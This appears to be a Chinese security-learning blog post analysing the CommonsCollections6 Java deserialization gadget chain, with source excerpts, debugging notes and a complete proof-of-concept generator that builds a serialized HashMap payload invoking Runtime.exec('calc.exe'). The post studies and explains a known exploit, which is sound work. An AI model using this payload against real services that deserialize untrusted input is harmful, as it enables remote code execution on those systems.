Java安全之CC6
前言
之前三篇详细分析了CommonsCollections1
利用链,两种方法,LazyMap
以及TransformedMap
,但是在Javaa 8u71
以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了
在ysoserial中,CC6解决了高版本不能利用的问题。接下来就来看看
分析
ysoserial中的代码过于复杂,所以来看这条简化版利⽤链:
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get()
,因为 LazyMap#get
后⾯的部分和CC1相同。所以简单来说,解决Java⾼版本利⽤问题,实际上就是在高版本中找上下⽂中是否还有其他调⽤LazyMap#get()
的地⽅。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
⽅法中调⽤了 this.map.get
,⽽其hashCode
⽅法调⽤了getValue
⽅法
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode());
}
// ...
}
所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了TiedMapEntry#hashCode
在 java.util.HashMap#readObject
中就可以找到 HashMap#hash()
的调⽤
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
//...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在HashMap的readObject⽅法中,调⽤到了hash(key)
,⽽hash⽅法中,调⽤到了 key.hashCode()
。所以,我们只需要让这个key等于TiedMapEntry
对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget
构造
⾸先,构造恶意LazyMap
:
Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class,Class[].class },
newObject[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class Object[].class },
newObject[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
为了避免本地调试时触发命令执 ⾏,在构造LazyMap的时候先⽤⼀个⼈畜⽆害的 fakeTransformers
对象,等最后要⽣成Payload的时候,再把真正的 transformers
替换进去。
将上面的transformer包装成恶意LazyMap对象outerMap
,将其作为TiedMapEntry
的map属性。
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,为了调⽤ TiedMapEntry#hashCode()
,我们需要将tme
对象作为 HashMap的⼀个key。注意,这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系。
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
最后,可以将这个expMap
作为对象来序列化了,不过,别忘了将真正的transformers
数组设置进来
整体Payload
如下:
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]
{new ConstantTransformer(1)};
Transformer[] iTransformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, iTransformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
//本地测试
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的。
调试
可以看到,只是生成序列化数据,没有成功执行命令
每个关键函数都打断点,单步调试一下。在LazyMap的get⽅法,画框的部分,就是最后触发命令执⾏的transform()
,但是这个if语句并没有进⼊,因为map.containsKey(key)
的结果是true
可以看到这里的key是keykey
,看下之前的代码,唯⼀出现keykey
的地⽅就是在 TiedMapEntry
的构造函数⾥,但TiedMapEntry
的构造函数并没有修改outerMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
这个关键点就出在expMap.put(tme, "valuevalue");
这个语句⾥⾯。HashMap的put⽅法中,也有调⽤到hash(key)
;
这⾥就导致LazyMap
这个利⽤链在这⾥被调⽤了⼀遍,因为前⾯⽤了fakeTransformers,所以此 时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响
解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即 可: outerMap.remove("keykey")
。
最终完整POC如下
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]
{new ConstantTransformer(1)};
Transformer[] iTransformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
//将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, iTransformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
//本地测试
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
这个利⽤链可以在Java7和8的⾼版本触发,没有版本限制:
ysoserial
上面的这条利用链子是ysoserial
中CC6的简化版。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
可以看到多了两步:
java.util.HashMap.put()
java.util.HashMap.hash()
这里是多了两个调用步骤,至于原因,暂时还没理解透。
小结
对CC6这条利用链进行了学习,在构造Gadget
的时候还是要思路清晰,后面继续学习。
Java安全之CC6的更多相关文章
- Java安全之CC3
前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...
- Spark案例分析
一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...
- java基础学习总结-接口
原文链接:http://www.cnblogs.com/xdp-gacl/p/3651121.html 一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如"金丝猴是 ...
- Java【第八篇】面向对象之高级类特性
static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ...
- Java类的继承与多态特性-入门笔记
相信对于继承和多态的概念性我就不在怎么解释啦!不管你是.Net还是Java面向对象编程都是比不缺少一堂课~~Net如此Java亦也有同样的思想成分包含其中. 继承,多态,封装是Java面向对象的3大特 ...
- java基础学习总结——接口
一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如“金丝猴是一种动物”,金丝猴从动物这个类继承,同时“金丝猴是一种值钱的东西”,金丝猴从“值钱的东西”这个类继承,同时“金丝猴 ...
- java基础—接口概念
一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如“金丝猴是一种动物”,金丝猴从动物这个类继承,同时“金丝猴是一种值钱的东西”,金丝猴从“值钱的东西”这个类继承,同时“金丝猴 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
随机推荐
- python中的画图神器——turtle模块
turtle库的基础命令介绍(1)画布画布cancas是绘图区域,可以设置它的大小和初始位置 turtle.screensize(1000,600,'red') 大小的设置 turtle.setup( ...
- 【java】学习路线9-非静态内部类、外部类
//内部类只能在其外部类当中使用//局部内部类:定义在方法里面//如果内部类和外部类有重名,就近原则在内部类中优先访问内部类.//如果想访问宿主类的同名成员,使用OuterClass.this.xxx ...
- 用maven创建ssm框架样版
在pom.xml中添加依赖包 特别要注意导入的"org.springframework"的版本,不兼容会报错 <!--依赖:junit ,数据库驱动,连接池,servlet, ...
- 如何结合整洁架构和MVP模式提升前端开发体验 - 整体架构篇
本文不详细介绍什么是整洁架构以及 MVP 模式,自行查看文章结尾相关链接文章. 整洁架构粗略介绍 下图为整洁架构最原始的结构图: Entities/Models:实体层,官方说法就是封装了企业里最通用 ...
- SETTLE约束算法中的坐标变换问题
技术背景 在之前的两篇文章中,我们分别讲解了SETTLE算法的原理和基本实现和SETTLE约束算法的批量化处理.SETTLE约束算法在水分子体系中经常被用到,该约束算法具有速度快.可并行.精度高的优点 ...
- 《吐血整理》进阶系列教程-拿捏Fiddler抓包教程(16)-Fiddler如何充当第三者,再识AutoResponder标签-上篇
1.简介 Fiddler充当第三者,主要是通过AutoResponder标签在客户端和服务端之间,Fiddler抓包,然后改包,最后发送.AutoResponder这个功能可以算的上是Fiddler最 ...
- NPOI EXECL数据导入,日期格式调用DateCellValue取值时,二次或后续调用出现报错!
NPOI version:2.5.1 EXCEL数据导入功能,第一次调用DateCellValue获得日期值OK,二次或后续调用出现报错"函数求值需要运行所有线程" 初步怀疑是版本 ...
- RabbitMQ 入门系列:10、扩展内容:延时队列:延时队列插件及其有限的适用场景(系列大结局)。
系列目录 RabbitMQ 入门系列:1.MQ的应用场景的选择与RabbitMQ安装. RabbitMQ 入门系列:2.基础含义:链接.通道.队列.交换机. RabbitMQ 入门系列:3.基础含义: ...
- k8s 网络持久化存储之StorageClass(如何一步步实现动态持久化存储)
StorageClass的作用: 创建pv时,先要创建各种固定大小的PV,而这些PV都是手动创建的,当业务量上来时,需要创建很多的PV,过程非常麻烦. 而且开发人员在申请PVC资源时,还不一定有匹配条 ...
- 【原创】K8S环境下研发如何本地调试?kt-connect使用详解
K8S环境下研发如何本地调试?kt-connect使用详解 背景 注:背景有点啰嗦,讲讲一路走来研发本地调试的变化,嫌烦的可以直接跳过,不影响阅读. 2019年 我在的公司当时是个什么情况,只有两个J ...